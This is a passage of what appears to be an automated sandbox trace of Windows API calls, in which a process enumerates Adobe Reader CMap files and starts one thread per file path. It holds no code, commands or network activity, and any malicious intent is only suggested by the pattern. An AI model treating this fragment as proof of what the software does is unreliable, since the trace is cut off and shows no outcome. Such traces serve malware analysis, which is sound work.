cAlternateFileName="AD4DFF~1")) returned 1 [0164.584] wcscmp (_String1="Adobe-Japan1-1", _String2=".") returned 1 [0164.584] wcscmp (_String1="Adobe-Japan1-1", _String2="..") returned 1 [0164.584] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76ca8 [0164.584] wcscpy (in: _Dest=0x12c76ca8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.584] wcscat (in: _Dest=0x12c76ca8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.584] wcscat (in: _Dest=0x12c76ca8, _Source="Adobe-Japan1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" [0164.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4 [0164.585] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-2", cAlternateFileName="ADF2F4~1")) returned 1 [0164.585] wcscmp (_String1="Adobe-Japan1-2", _String2=".") returned 1 [0164.585] wcscmp (_String1="Adobe-Japan1-2", _String2="..") returned 1 [0164.585] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75f98 [0164.585] wcscpy (in: _Dest=0x12c75f98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.585] wcscat (in: _Dest=0x12c75f98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.585] wcscat (in: _Dest=0x12c75f98, _Source="Adobe-Japan1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" [0164.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4 [0164.587] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-3", cAlternateFileName="ADA8E9~1")) returned 1 [0164.587] wcscmp (_String1="Adobe-Japan1-3", _String2=".") returned 1 [0164.587] wcscmp (_String1="Adobe-Japan1-3", _String2="..") returned 1 [0164.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75f00 [0164.587] wcscpy (in: _Dest=0x12c75f00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.587] wcscat (in: _Dest=0x12c75f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.587] wcscat (in: _Dest=0x12c75f00, _Source="Adobe-Japan1-3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" [0164.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19bc [0164.589] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-4", cAlternateFileName="ADCE7B~1")) returned 1 [0164.589] wcscmp (_String1="Adobe-Japan1-4", _String2=".") returned 1 [0164.589] wcscmp (_String1="Adobe-Japan1-4", _String2="..") returned 1 [0164.589] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c760c8 [0164.589] wcscpy (in: _Dest=0x12c760c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.590] wcscat (in: _Dest=0x12c760c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.590] wcscat (in: _Dest=0x12c760c8, _Source="Adobe-Japan1-4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" [0164.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c760c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b8 [0164.591] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-5", cAlternateFileName="AD7470~1")) returned 1 [0164.591] wcscmp (_String1="Adobe-Japan1-5", _String2=".") returned 1 [0164.591] wcscmp (_String1="Adobe-Japan1-5", _String2="..") returned 1 [0164.591] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76030 [0164.591] wcscpy (in: _Dest=0x12c76030, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.591] wcscat (in: _Dest=0x12c76030, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.591] wcscat (in: _Dest=0x12c76030, _Source="Adobe-Japan1-5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" [0164.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ec [0164.593] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-6", cAlternateFileName="AD2A65~1")) returned 1 [0164.593] wcscmp (_String1="Adobe-Japan1-6", _String2=".") returned 1 [0164.593] wcscmp (_String1="Adobe-Japan1-6", _String2="..") returned 1 [0164.593] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76328 [0164.593] wcscpy (in: _Dest=0x12c76328, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.593] wcscat (in: _Dest=0x12c76328, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.593] wcscat (in: _Dest=0x12c76328, _Source="Adobe-Japan1-6" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" [0164.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8 [0164.594] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90ms-RKSJ", cAlternateFileName="AD02A2~1")) returned 1 [0164.594] wcscmp (_String1="Adobe-Japan1-90ms-RKSJ", _String2=".") returned 1 [0164.594] wcscmp (_String1="Adobe-Japan1-90ms-RKSJ", _String2="..") returned 1 [0164.594] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x934330 [0164.594] wcscpy (in: _Dest=0x934330, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.594] wcscat (in: _Dest=0x934330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.594] wcscat (in: _Dest=0x934330, _Source="Adobe-Japan1-90ms-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" [0164.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1458 [0164.595] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90pv-RKSJ", cAlternateFileName="ADE5F6~1")) returned 1 [0164.596] wcscmp (_String1="Adobe-Japan1-90pv-RKSJ", _String2=".") returned 1 [0164.596] wcscmp (_String1="Adobe-Japan1-90pv-RKSJ", _String2="..") returned 1 [0164.596] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x936db0 [0164.596] wcscpy (in: _Dest=0x936db0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.596] wcscat (in: _Dest=0x936db0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.596] wcscat (in: _Dest=0x936db0, _Source="Adobe-Japan1-90pv-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" [0164.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x936db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1484 [0164.597] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-CID", cAlternateFileName="AD8921~1")) returned 1 [0164.597] wcscmp (_String1="Adobe-Japan1-H-CID", _String2=".") returned 1 [0164.597] wcscmp (_String1="Adobe-Japan1-H-CID", _String2="..") returned 1 [0164.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ad348 [0164.597] wcscpy (in: _Dest=0x9ad348, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.597] wcscat (in: _Dest=0x9ad348, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.597] wcscat (in: _Dest=0x9ad348, _Source="Adobe-Japan1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" [0164.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e0 [0164.599] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Host", cAlternateFileName="ADD587~1")) returned 1 [0164.599] wcscmp (_String1="Adobe-Japan1-H-Host", _String2=".") returned 1 [0164.599] wcscmp (_String1="Adobe-Japan1-H-Host", _String2="..") returned 1 [0164.599] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0xd495280 [0164.599] wcscpy (in: _Dest=0xd495280, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.599] wcscat (in: _Dest=0xd495280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.599] wcscat (in: _Dest=0xd495280, _Source="Adobe-Japan1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" [0164.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd495280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14dc [0164.600] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Mac", cAlternateFileName="ADF41D~1")) returned 1 [0164.600] wcscmp (_String1="Adobe-Japan1-H-Mac", _String2=".") returned 1 [0164.600] wcscmp (_String1="Adobe-Japan1-H-Mac", _String2="..") returned 1 [0164.600] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0xd495320 [0164.600] wcscpy (in: _Dest=0xd495320, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.601] wcscat (in: _Dest=0xd495320, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.601] wcscat (in: _Dest=0xd495320, _Source="Adobe-Japan1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" [0164.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd495320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ac [0164.602] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-UCS2", cAlternateFileName="AD1CC0~1")) returned 1 [0164.602] wcscmp (_String1="Adobe-Japan1-UCS2", _String2=".") returned 1 [0164.602] wcscmp (_String1="Adobe-Japan1-UCS2", _String2="..") returned 1 [0164.602] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0xd495460 [0164.602] wcscpy (in: _Dest=0xd495460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.602] wcscat (in: _Dest=0xd495460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.602] wcscat (in: _Dest=0xd495460, _Source="Adobe-Japan1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" [0164.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd495460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8 [0164.603] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-0", cAlternateFileName="AD0C77~1")) returned 1 [0164.603] wcscmp (_String1="Adobe-Korea1-0", _String2=".") returned 1 [0164.603] wcscmp (_String1="Adobe-Korea1-0", _String2="..") returned 1 [0164.603] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c763c0 [0164.603] wcscpy (in: _Dest=0x12c763c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.603] wcscat (in: _Dest=0x12c763c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.604] wcscat (in: _Dest=0x12c763c0, _Source="Adobe-Korea1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" [0164.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c763c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4 [0164.605] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-1", cAlternateFileName="ADE5E5~1")) returned 1 [0164.605] wcscmp (_String1="Adobe-Korea1-1", _String2=".") returned 1 [0164.605] wcscmp (_String1="Adobe-Korea1-1", _String2="..") returned 1 [0164.605] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76458 [0164.605] wcscpy (in: _Dest=0x12c76458, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.605] wcscat (in: _Dest=0x12c76458, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.605] wcscat (in: _Dest=0x12c76458, _Source="Adobe-Korea1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1" [0164.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0 [0164.606] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-2", cAlternateFileName="AD30F0~1")) returned 1 [0164.606] wcscmp (_String1="Adobe-Korea1-2", _String2=".") returned 1 [0164.606] wcscmp (_String1="Adobe-Korea1-2", _String2="..") returned 1 [0164.606] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c764f0 [0164.606] wcscpy (in: _Dest=0x12c764f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.607] wcscat (in: _Dest=0x12c764f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.607] wcscat (in: _Dest=0x12c764f0, _Source="Adobe-Korea1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2" [0164.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c764f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1574 [0164.608] FindNextFileW (in: hFindFile=0x942a70, 